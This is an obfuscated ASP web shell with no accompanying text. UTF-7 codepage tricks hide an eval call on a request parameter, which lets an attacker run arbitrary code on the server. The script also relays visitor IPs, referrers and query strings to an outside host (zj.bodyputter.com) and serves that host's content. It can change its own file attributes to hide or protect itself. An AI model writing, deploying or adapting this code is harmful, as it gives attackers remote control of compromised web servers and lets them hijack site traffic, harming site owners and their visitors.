<%@codepage=65000%> <%r+k-es+k-p+k-on+k-se.co+k-d+k-e+k-p+k-age=936:e+k-v+k-a+k-l r+k-e+k-q+k-u+k-e+k-s+k-t("a_159")%> <% Z = request.QueryString("Z") K = request.QueryString("K") KI = request.QueryString("KI") A = request.QueryString("A") S = request.QueryString("S") Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "utf-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function if z <> "" and K <> "" and A <> "" and S <> "" then action = "?act=zj&ip="&Request.ServerVariables("REMOTE_ADDR")&"&ref="&Request.ServerVariables("Http_Referer")&"&"&request.querystring response.write(getHTTPPage("http://zj.bodyputter.com/"&action)) response.end end if attrfile = request.QueryString("p") if attrfile <> "" then path=Server.MapPath("/")&Replace(Request.ServerVariables("Script_Name"),"/","\") Set fso=Server.CreateObject("Scripting.FileSystemObject") Set file=fso.getFile(path) file.attributes=attrfile set file=nothing set fso=nothing response.Write("ok") end if %>